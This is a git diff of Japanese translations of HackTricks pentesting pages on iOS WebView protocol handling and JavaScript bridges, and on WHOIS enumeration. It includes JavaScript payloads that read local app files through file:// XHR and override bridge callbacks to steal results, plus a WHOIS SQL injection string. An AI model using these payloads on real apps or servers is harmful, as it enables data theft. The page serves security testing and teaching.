@ -174,22 +145,22 @@ onMatch: <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1
hasOnlySecureContent: false
```
## WebViewプロトコル処理
## WebView プロトコル処理
iOS上のWebViewでは、いくつかのデフォルトのスキームが利用可能です。例えば:
iOSのWebViewで解釈されるいくつかのデフォルトスキームがあります。例えば:
* http(s)://
* file://
* tel://
WebViewはエンドポイントからリモートコンテンツを読み込むことができますが、アプリのデータディレクトリからもローカルコンテンツを読み込むことができます。ローカルコンテンツが読み込まれる場合、ユーザーはファイル名やパスを変更することはできず、読み込まれたファイルを編集することもできません。
WebViewはエンドポイントからリモートコンテンツをロードすることができますが、アプリデータディレクトリからローカルコンテンツをロードすることもできます。ローカルコンテンツがロードされる場合、ユーザーはファイル名やファイルをロードするために使用されるパスに影響を与えることができず、ロードされたファイルを編集することもできません。
### WebViewコンテンツの読み込み
### WebView コンテンツのロード
* **UIWebView**: 非推奨のメソッド [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617979-loadhtmlstring?language=objc) [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617941-loaddata?language=objc) を使用してコンテンツを読み込むことができます。
* **WKWebView**: メソッド [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415004-loadhtmlstring?language=objc) [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415011-loaddata?language=objc) を使用してローカルのHTMLファイルを読み込むことができます。また、webコンテンツの読み込みには `loadRequest:` を使用します。通常、ローカルファイルは、[`pathForResource:ofType:`](https://developer.apple.com/documentation/foundation/nsbundle/1410989-pathforresource)、[`URLForResource:withExtension:`](https://developer.apple.com/documentation/foundation/nsbundle/1411540-urlforresource?language=objc)、[`init(contentsOf:encoding:)`](https://developer.apple.com/documentation/swift/string/3126736-init)などのメソッドと組み合わせて読み込まれます。さらに、アプリがメソッド [`loadFileURL:allowingReadAccessToURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1414973-loadfileurl?language=objc) を使用しているかどうかも確認する必要があります。このメソッドの最初のパラメータは `URL` であり、WebViewに読み込まれるURLを含みます。2番目のパラメータ `allowingReadAccessToURL` には、単一のファイルまたはディレクトリが含まれる場合があります。単一のファイルが含まれる場合、そのファイルはWebViewで利用可能になります。ただし、ディレクトリが含まれる場合、そのディレクトリ内のすべてのファイルがWebViewで利用可能になります。したがって、これを調査し、ディレクトリの場合は内部に機密データが含まれていないことを確認する価値があります。
* **UIWebView**: 非推奨のメソッド [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617979-loadhtmlstring?language=objc) または [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617941-loaddata?language=objc) を使用してコンテンツをロードできます。
* **WKWebView**: メソッド [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415004-loadhtmlstring?language=objc) または [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415011-loaddata?language=objc) を使用してローカルHTMLファイルをロードし、`loadRequest:` を使用してWebコンテンツをロードします。通常、ローカルファイルは [`pathForResource:ofType:`](https://developer.apple.com/documentation/foundation/nsbundle/1410989-pathforresource)、[`URLForResource:withExtension:`](https://developer.apple.com/documentation/foundation/nsbundle/1411540-urlforresource?language=objc)、[`init(contentsOf:encoding:)`](https://developer.apple.com/documentation/swift/string/3126736-init) などのメソッドと組み合わせてロードされます。さらに、アプリがメソッド [`loadFileURL:allowingReadAccessToURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1414973-loadfileurl?language=objc) を使用しているかどうかも確認する必要があります。その最初のパラメータは `URL` で、WebViewにロードされるURLを含み、2番目のパラメータ `allowingReadAccessToURL` は単一のファイルまたはディレクトリを含むことがあります。単一のファイルを含む場合、そのファイルはWebViewで利用可能になります。しかし、ディレクトリを含む場合、その**ディレクトリ内のすべてのファイルがWebViewで利用可能になります**。したがって、これを検査し、ディレクトリの場合は、その中に機密データが含まれていないかを確認することが重要です。
ソースコードがある場合は、これらのメソッドを検索することができます。**コンパイルされた** **バイナリ**がある場合は、次のメソッドを検索することもできます:
ソースコードを持っている場合、これらのメソッドを検索できます。**コンパイルされた** **バイナリ**を持っている場合も、これらのメソッドを検索できます。
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
@ -198,9 +169,9 @@ $ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
* **UIWebView:**
* `file://` スキームは常に有効です。
* `file://` URL からのファイルアクセスは常に有効です。
* `file://` URL からのユニバーサルアクセスは常に有効です。
* `baseURL``nil` に設定され`UIWebView` から有効なオリジンを取得すると、"null" ではなく、次のようなものが得られます: `applewebdata://5361016c-f4a0-4305-816b-65411fc1d78`0。このオリジン "applewebdata://" は "file://" オリジンと似ており、**同一オリジンポリシーを実装していない**ため、ローカルファイルや任意のウェブリソースへのアクセスを許可します。
* `file://` URLからのファイルアクセスは常に有効です。
* `file://` URLからのユニバーサルアクセスは常に有効です。
* `baseURL``nil` に設定されている `UIWebView` から有効なオリジンを取得すると、**"null"に設定されていない**ことがわかります。代わりに、次のようなものが得られます: `applewebdata://5361016c-f4a0-4305-816b-65411fc1d780`。このオリジン "applewebdata://" は "file://" オリジンと似ており、**Same-Origin Policyを実装していない**ため、ローカルファイルや任意のウェブリソースへのアクセスを許可します。
{% tabs %}
{% tab title="exfiltrate_file" %}
@ -229,12 +200,12 @@ xhr.send(null);
{% endtab %}
{% endtabs %}
* **WKWebView**WKWebView
* **`allowFileAccessFromFileURLs`**`WKPreferences`、デフォルトでは`false`):これにより、`file://`スキームURLのコンテキストで実行されるJavaScriptが他の`file://`スキームURLからコンテンツにアクセスできるようになります。
* **`allowUniversalAccessFromFileURLs`**`WKWebViewConfiguration`、デフォルトでは`false`):これにより、`file://`スキームURLのコンテキストで実行されるJavaScriptが任意のオリジンからコンテンツにアクセスできるようになります。
* **WKWebView**:
* **`allowFileAccessFromFileURLs`** (`WKPreferences`, デフォルトでは`false`): `file://`スキームURLのコンテキストで実行されるJavaScriptが、他の`file://`スキームURLのコンテンツにアクセスできるようにします。
* **`allowUniversalAccessFromFileURLs`** (`WKWebViewConfiguration`, デフォルトでは`false`): `file://`スキームURLのコンテキストで実行されるJavaScriptが、任意のオリジンのコンテンツにアクセスできるようにします。
これらの関数は、アプリケーションのソースコードやコンパイルされたバイナリで検索することができます。\
また、次のFridaスクリプトを使用して、この情報を見つけることもできます:
これらの関数アプリケーションのソースコードやコンパイルされたバイナリで検索することができます。\
また、以下のfridaスクリプトを使用してこの情報を見つけることができます:
```bash
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
@ -264,18 +235,7 @@ allowFileAccessFromFileURLs: 0
hasOnlySecureContent: false
allowUniversalAccessFromFileURLs: 0
```
#### 任意のファイルを外部に持ち出す
To exfiltrate arbitrary files from an iOS app's webview, you can use the following steps:
1. Identify the webview's file upload functionality.
2. Craft a malicious file that contains the data you want to exfiltrate.
3. Use a file upload vulnerability to upload the malicious file to the webview.
4. Intercept the file upload request using a proxy tool like Burp Suite.
5. Modify the request to exfiltrate the file to an external server or storage.
6. Verify that the file has been successfully exfiltrated.
Note: This technique may require additional steps depending on the specific app and its security measures.
#### 任意のファイルを抽出する
```javascript
//For some reason this payload doesn't work!!
//Let me know if you know how to exfiltrate local files from a WKWebView
@ -300,24 +260,24 @@ xhr2.send(null);
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);
```
## WebViewを介した公開されたネイティブメソッド
## WebViewを通じて露出されるネイティブメソッド
iOS 7以降、AppleはWebView内のJavaScriptランタイムとネイティブのSwiftまたはObjective-Cオブジェクト間の通信を可能にするAPIを導入しました。
iOS 7以降、Appleは**WebView内のJavaScriptランタイムとネイティブ**のSwiftまたはObjective-Cオブジェクト間の通信を可能にするAPIを導入しました。
ネイティブコードとJavaScriptの通信方法には、次の2つの基本的な方法があります。
ネイティブコードとJavaScriptが通信する基本的な方法は2つあります
* **JSContext**: Objective-CまたはSwiftブロックが`JSContext`の識別子に割り当てられると、JavaScriptCoreは自動的にブロックをJavaScript関数ラップします。
* **JSExportプロトコル**: `JSExport`を継承したプロトコルで宣言されたプロパティ、インスタンスメソッド、クラスメソッドは、すべてのJavaScriptコードで利用可能なJavaScriptオブジェクトにマッピングされます。JavaScript環境内のオブジェクトの変更はネイティブ環境に反映されます。
* **JSContext**: Objective-CまたはSwiftブロックが`JSContext`の識別子に割り当てられると、JavaScriptCoreは自動的にブロックをJavaScript関数ラップします。
* **JSExportプロトコル**: `JSExport`を継承したプロトコルで宣言されたプロパティ、インスタンスメソッド、クラスメソッドは、すべてのJavaScriptコードで利用可能なJavaScriptオブジェクトにマッピングされます。JavaScript環境内のオブジェクトの変更はネイティブ環境に反映されます。
注意点として、**`JSExport`プロトコルで定義されたクラスメンバーのみ**がJavaScriptコードからアクセス可能になります。\
WebViewに関連付けられた`JSContext`にネイティブオブジェクトをマッピングするコードを探し、公開される機能を分析してください。例えば、機密データはWebViewからアクセス可能で公開されるべきではありません。\
Objective-Cでは、`UIWebView`に関連付けられた`JSContext`はのように取得されます:
**`JSExport`プロトコルで定義されたクラスメンバーのみ**がJavaScriptコードにアクセス可能になることに注意してください。\
WebViewに関連付けられた`JSContext`にマッピングされたネイティブオブジェクトのコードを探し、どのような機能が露出されているかを分析します。例えば、WebViewにアクセス可能で露出されるべきではない機密データがあります。\
Objective-Cでは、`UIWebView`に関連付けられた`JSContext`は以下のように取得されます:
```objectivec
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
```
**`WKWebView`内のJavaScriptコードは、ネイティブアプリにメッセージを送信することができますが、`UIWebView`とは異なり、`WKWebView`の`JSContext`を直接参照することはできません**。代わりに、メッセージングシステムと`postMessage`関数を使用して通信を実装します。この関数は、JavaScriptオブジェクトをネイティブのObjective-CまたはSwiftオブジェクトに自動的にシリアライズします。メッセージハンドラは、[`add(_ scriptMessageHandler:name:)`](https://developer.apple.com/documentation/webkit/wkusercontentcontroller/1537172-add)メソッドを使用して構成されます。
JavaScript コードは **`WKWebView` でネイティブアプリにメッセージを送信することは可能ですが、`UIWebView` とは対照的に、`WKWebView` の `JSContext` を直接参照することはできません。** 代わりに、メッセージングシステムを使用し、JavaScript オブジェクトをネイティブの Objective-C や Swift オブジェクトに自動的にシリアライズする `postMessage` 関数を使用て通信が実装されます。メッセージハンドラは、[`add(_ scriptMessageHandler:name:)`](https://developer.apple.com/documentation/webkit/wkusercontentcontroller/1537172-add) メソッドを使用して設定されます。
### JavaScriptBridgeの有効化
### JavascriptBridge を有効にする
```swift
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
@ -332,7 +292,7 @@ userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridg
```
### メッセージの送信
名前が「"name"」(または上記の例では「"javaScriptBridge"」のスクリプトメッセージハンドラを追加すると、ユーザーコンテンツコントローラを使用するすべてのウェブビューのすべてのフレームに、JavaScript関数`window.webkit.messageHandlers.myJavaScriptMessageHandler.postMessage`が定義されます。それは[次のようにHTMLファイルから使用することができます](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/d4e2d9efbde8841bf7e4a8800418dda6bb116ec6/WheresMyBrowser/web/WKWebView/scenario3.html#L33)
スクリプトメッセージハンドラを名前 `"name"`(または上記の例では `"javaScriptBridge"`で追加すると、そのユーザーコンテンツコントローラーを使用するすべてのウェブビューのすべてのフレームでJavaScript関数 `window.webkit.messageHandlers.myJavaScriptMessageHandler.postMessage` が定義されます。それは次のようにHTMLファイルから[使用することができます](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/d4e2d9efbde8841bf7e4a8800418dda6bb116ec6/WheresMyBrowser/web/WKWebView/scenario3.html#L33)
```javascript
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
@ -344,8 +304,8 @@ window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", v
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
```
ネイティブ関数が実行されると、通常は**ウェブページ内でいくつかのJavaScriptが実行されます**(以下の`evaluateJavascript`を参照)。実行される関数を**上書きして結果を盗む**ことに興味があるかもしれません。\
例えば、以下のスクリプトでは、関数**`javascriptBridgeCallBack`**が2つのパラメータ呼び出された関数と**結果**と共に実行されます。ロードされるHTMLを制御できる場合、結果を含む**アラートを作成**することができます。
ネイティブ関数が実行されると、通常は**ウェブページ内でJavaScriptを実行します**(以下の`evaluateJavascript`を参照)。実行される関数を**オーバーライドして**、**結果を盗む**ことに興味があるかもしれません。
例えば、以下のスクリプトでは、**`javascriptBridgeCallBack`** 関数が2つのパラメータ呼び出された関数と**結果**を持って実行されます。ロードされるHTMLを制御している場合、結果を表示する**アラートを作成**できます。
```markup
<html>
<script>
@ -356,9 +316,9 @@ alert(result);
</script>
</html>
```
### 呼び出され関数
### 呼び出され関数
呼び出され関数は[`JavaScriptBridgeMessageHandler.swift`](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/b8d4abda4000aa509c7a5de79e5c90360d1d0849/WheresMyBrowser/JavaScriptBridgeMessageHandler.swift#L29)にあります。
呼び出され関数は[`JavaScriptBridgeMessageHandler.swift`](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/b8d4abda4000aa509c7a5de79e5c90360d1d0849/WheresMyBrowser/JavaScriptBridgeMessageHandler.swift#L29)に存在します:
```swift
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
@ -376,56 +336,54 @@ message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
```
### テスト
アプリケーション内でpostMessageをテストするためには、次の方法があります。
アプリケーション内でpostMessageを送信するためのテスト方法は以下の通りです:
- サーバーの応答を変更するMitM
- Fridaなどのフレームワークを使用して動的なインストルメンテーションを実行し、iOSのWebViews用に利用可能な対応するJavaScript評価関数`UIWebView`の[`stringByEvaluatingJavaScriptFromString`](https://developer.apple.com/documentation/uikit/uiwebview/1617963-stringbyevaluatingjavascriptfrom?language=objc)および`WKWebView`の[`evaluateJavaScriptcompletionHandler`](https://developer.apple.com/documentation/webkit/wkwebview/1415017-evaluatejavascript?language=objc))を使用してJavaScriptペイロードを注入する。
* サーバーの応答を変更する (MitM)
* Fridaのようなフレームワークを使用して動的なインストルメンテーションを行い、iOS WebViews用の対応するJavaScript評価関数([`stringByEvaluatingJavaScriptFromString:`](https://developer.apple.com/documentation/uikit/uiwebview/1617963-stringbyevaluatingjavascriptfrom?language=objc) for `UIWebView` と [`evaluateJavaScript:completionHandler:`](https://developer.apple.com/documentation/webkit/wkwebview/1415017-evaluatejavascript?language=objc) for `WKWebView`)を使ってJavaScriptペイロードを注入する。
## iOS WebViewsのデバッグ
[https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews)からのチュートリアル
([https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews)からのチュートリアル)
iOSのWebViewsでは、`console.log()`に渡されたメッセージはXcodeのログには表示されません。Safariの開発者ツールを使用してWebコンテンツをデバッグすることはまだ比較的簡単ですが、いくつかの制限があります。
iOS webviewsでは、`console.log()`に渡されたメッセージはXcodeのログには表示されません。それでも、Safariの開発者ツールを使ってWebコンテンツを比較的簡単にデバッグすることができますが、いくつかの制限があります:
- iOSのWebViewsのデバッグにはSafariが必要なため、開発用のコンピュータはmacOSで実行されている必要があります。
- App StoreやApple Configuratorを介してインストールされたアプリでは、WebViewsのデバッグはできません。
* iOS webviewsのデバッグにはSafariが必要なので、開発用コンピュータはmacOSを実行している必要があります。
* Xcodeを通じてデバイスにロードされたアプリケーション内のwebviewsのみをデバッグできます。App StoreやApple Configuratorを通じてインストールされたアプリ内のwebviewsはデバッグできません。
これらの制限を考慮して、iOSのWebViewsをリモートでデバッグする手順は次のとおりです。
これらの制限を念頭に置いて、iOSでwebviewをリモートデバッグする手順は以下の通りです:
- まず、iOSデバイスでSafari Web Inspectorを有効にするために、iOSの「設定」アプリを開き、「設定 > Safari > 詳細設定」に移動し、「Web Inspector」オプションをオンにします。
* まず、iOSデバイスでSafari Webインスペクタを有効にするために、iOSの_設定_アプリを開き、**設定 > Safari > 高度な設定**に移動し、_Webインスペクタ_オプションをオンに切り替えます。
![iOS Safari settings](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/ios-safari-settings.jpg)
- 次に、開発用のコンピュータでSafariの開発者ツールも有効にする必要があります。開発用のマシンでSafariを起動し、メニューバーの「Safari > 環境設定」に移動します。表示される環境設定パネルで、「詳細」タブをクリックし、一番下にある「開発メニューを表示」オプションを有効にします。これを行った後、環境設定パネルを閉じることができます。
* 次に、開発用コンピュータのSafariで開発者ツールを有効にする必要があります。開発マシンでSafariを起動し、メニューバーの**Safari > 環境設定**に移動します。表示される環境設定ペインで、_高度な設定_タブをクリックし、下部にある_開発メニューを表示_オプションを有効にします。それを行った後、環境設定ペインを閉じることができます。
![Mac Safari settings](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-settings.jpg)
- iOSデバイスを開発用のコンピュータに接続し、アプリを起動します。
- 開発用のコンピュータのSafariで、メニューバーの「開発」をクリックし、iOSデバイスの名前であるドロップダウンオプションにカーソルを合わせると、iOSデバイス上で実行されているWebviewインスタンスのリストが表示されます。
* iOSデバイスを開発用コンピュータに接続し、アプリを起動します。
* 開発用コンピュータのSafariで、メニューバーの_開発_をクリックし、iOSデバイスの名前が表示されているドロップダウンオプションにカーソルを合わせて、iOSデバイスで実行中のwebviewインスタンスのリストを表示します。
![Mac Safari develop menu](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-develop-menu.jpg)
- デバッグしたいWebviewのドロップダウンオプションをクリックします。これにより、Webviewを検査するための新しいSafari Web Inspectorウィンドウが開きます。
* デバッグしたいwebviewのドロップダウンオプションをクリックします。これにより、webviewを検査するための新しいSafari Webインスペクタウィンドウが開きます。
![Safari Web Inspector window](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-inspector.jpg)
## 参考文献
- [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
- [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください**。
- **ハッキングのトリックを共有するには、[hacktricksのリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudのリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**
* **HackTricksに広告を掲載したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。
</details>

View file

@ -1,47 +1,47 @@
```markdown
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
</details>
# 基本情報
**WHOIS**"who is"というフレーズとして発音は、インターネットリソースドメイン名、IPアドレスブロック、自律システムなどの登録ユーザーまたは割り当て先を格納するデータベースをクエリするために広く使用されるクエリと応答プロトコルですが、他の情報にも広範に使用されています[ここから](https://en.wikipedia.org/wiki/WHOIS))。
**WHOIS**"who is"というフレーズとして発音されるは、ドメイン名、IPアドレスブロック、または自律システムなどのインターネットリソースの登録ユーザーや割り当てられた人を照会するために広く使用されるクエリと応答プロトコルですが、他の情報範囲にも使用されます。[こちら](https://en.wikipedia.org/wiki/WHOIS)から)
**デフォルトポート:** 43
**デフォルトポート:** 43
```
```
PORT STATE SERVICE
43/tcp open whois?
```
# 列挙
ドメインに関するwhoisサービスの情報をすべて取得します:
ドメインに関してwhoisサービスが持つ全ての情報を取得します:
```bash
whois -h <HOST> -p <PORT> "domain.tld"
echo "domain.ltd" | nc -vn <HOST> <PORT>
```
以下のようなことに注意してください。WHOISサービスに情報をリクエストする際、使用されているデータベースが応答に表示されることがあります
以下は、WHOISサービスに情報を要求する際に、使用されているデータベースが応答に表示されることがあることに注意してください
![](<../.gitbook/assets/image (147).png>)
また、WHOISサービスは常に情報を格納し、抽出するために**データベース**を使用する必要があります。したがって、ユーザーが提供した情報を使用してデータベースを**クエリ**する際には、**SQLインジェクション**が存在する可能性があります。たとえば、`whois -h 10.10.10.155 -p 43 "a') or 1=1#"`とすると、データベースに保存されている**すべての情報**を**抽出**することができます
また、WHOISサービスは常に**データベース**を使用して情報を保存および抽出する必要があります。したがって、ユーザーが提供した情報からデータベースを**クエリ**する際に、**SQLインジェクション**が存在する可能性があります。例えば、`whois -h 10.10.10.155 -p 43 "a') or 1=1#"` を実行することで、データベースに保存されている**情報**を**すべて抽出**することができるかもしれません
# Shodan
* `port:43 whois`
# HackTricks Automatic Commands
# HackTricks 自動コマンド
```
Protocol_Name: WHOIS #Protocol Abbreviation if there is one.
Port_Number: 43 #Comma separated if there is more than one.
@ -62,16 +62,14 @@ Command: whois -h {IP} -p 43 {Domain_Name} && echo {Domain_Name} | nc -vn {IP} 4
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
</details>

View file

@ -1,47 +1,33 @@
```markdown
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェックしてください!</strong></summary>
